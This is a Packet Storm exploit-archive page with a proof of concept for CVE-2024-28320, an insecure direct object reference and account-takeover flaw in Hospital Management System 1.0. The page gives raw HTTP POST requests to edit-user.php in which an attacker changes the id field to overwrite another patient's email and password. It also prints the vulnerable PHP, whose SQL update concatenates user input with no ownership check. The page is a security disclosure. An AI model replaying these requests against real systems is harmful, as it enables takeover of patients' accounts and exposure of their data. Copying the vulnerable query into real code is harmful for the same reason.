exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Hospital Management System 1.0 Insecure Direct Object Reference / Account Takeover

Hospital Management System 1.0 Insecure Direct Object Reference / Account Takeover
Posted Feb 27, 2024
Authored by SoSPiro

Hospital Management System version 1.0 suffers from insecure direct object reference and account takeover vulnerabilities.

tags | exploit, vulnerability
advisories | CVE-2024-28320
SHA-256 | be19d62054d99ae7a13a56bfe14d696f9386cb9b1076c31c5d2ce818f0bec232

Hospital Management System 1.0 Insecure Direct Object Reference / Account Takeover

Change Mirror Download
# Exploit Title: Hospital Management System - IDOR + Accaunt Takeover
# Google Dork: N/A
# Application: Hospital Management System
# Date: 27.02.2024
# Bugs: IDOR + Accaunt Takeover
# Exploit Author: SoSPiro
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html
# Version: 1.0
# Tested on: Windows 10 64 bit Wampserver
# CVE : CVE-2024-28320

# References:
# https://sospiro014.github.io/Hospital-Management-System-1.0-Insecure-Direct-Object-Reference-+-Account-Takeover
# https://sospiro014.github.io/Hospital-Management-System-1.0-SQL-Injection




## Vulnerability Description:

This report focuses on two vulnerabilities known as "Insecure Direct Object References (IDOR)" and "Account Takeover". These vulnerabilities occur in a scenario where user input and access privileges validation is inadequate.


## Proof of Concept (PoC):

Target User Information:

User 1:
ID: 1
Email: patient@patient.com
Password: patient
-----------------------------------
User 2:
ID: 4
Email: attack@ker
Password: q1w2e3
-----------------------------------


User 1 Request

POST /Vaidya%20Mitra/vm/patient/edit-user.php HTTP/1.1
Host: localhost
Cookie: _ga=GA1.1.2080672900.1708952048; _gid=GA1.1.1833914840.1708952048; PHPSESSID=f6je8gcsm0h685mfr2g37ot8to
...
id00=1&oldemail=patient%40patient.com&email=patient%40patient.com&name=Mrs.Sunita+Dighe&nic=422201&Tele=9090909091&address=India&password=patient&cpassword=patient


User 2 Request

POST /Vaidya%20Mitra/vm/patient/edit-user.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=4c8per12a8freilu1upich92a4
...
id00=4&oldemail=attack%40ker&email=attack%40ker&name=attack+attacker&nic=123123123&Tele=0712345677&address=attac&password=q1w2e3&cpassword=q1w2e3



Attacker's Request

The attacker aims to modify the account details of "patient 1" and sends the following HTTP request:

POST /Vaidya%20Mitra/vm/patient/edit-user.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=4c8per12a8freilu1upich92a4
...
id00=1&oldemail=patient%40patient.com&email=patient%40patient.com&name=MRRS.Sunita+Dighe&nic=422201&Tele=9090909091&address=attac&password=q1w2e3&cpassword=q1w2e3


In the above SQL queries, the $id value received from the user is directly included in the query and security
checks are not performed. This allows exploiting another user's information. At the same time, since
the user's identity is obtained from the POST data, the attacker can pass his identity as another user's identity.


PoC video: https://www.youtube.com/watch?v=pmoBSnu9IYI



## Vulnerable code section:
====================================================

$sql1="update patient set pemail='$email',pname='$name',ppassword='$password',pnic='$nic',ptel='$tele',paddress='$address' where pid=$id ;";
$database->query($sql1);
echo $sql1;
$sql1="update webuser set email='$email' where email='$oldemail' ;";
$database->query($sql1);
echo $sql1;
====================================================


## Risks This security vulnerability exposes user information to unauthorized access and modifications. Consequently, there are potential risks such as account takeover, privacy breaches, and non-compliance with security policies, which can lead to substantial damage and security breaches in the system.
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close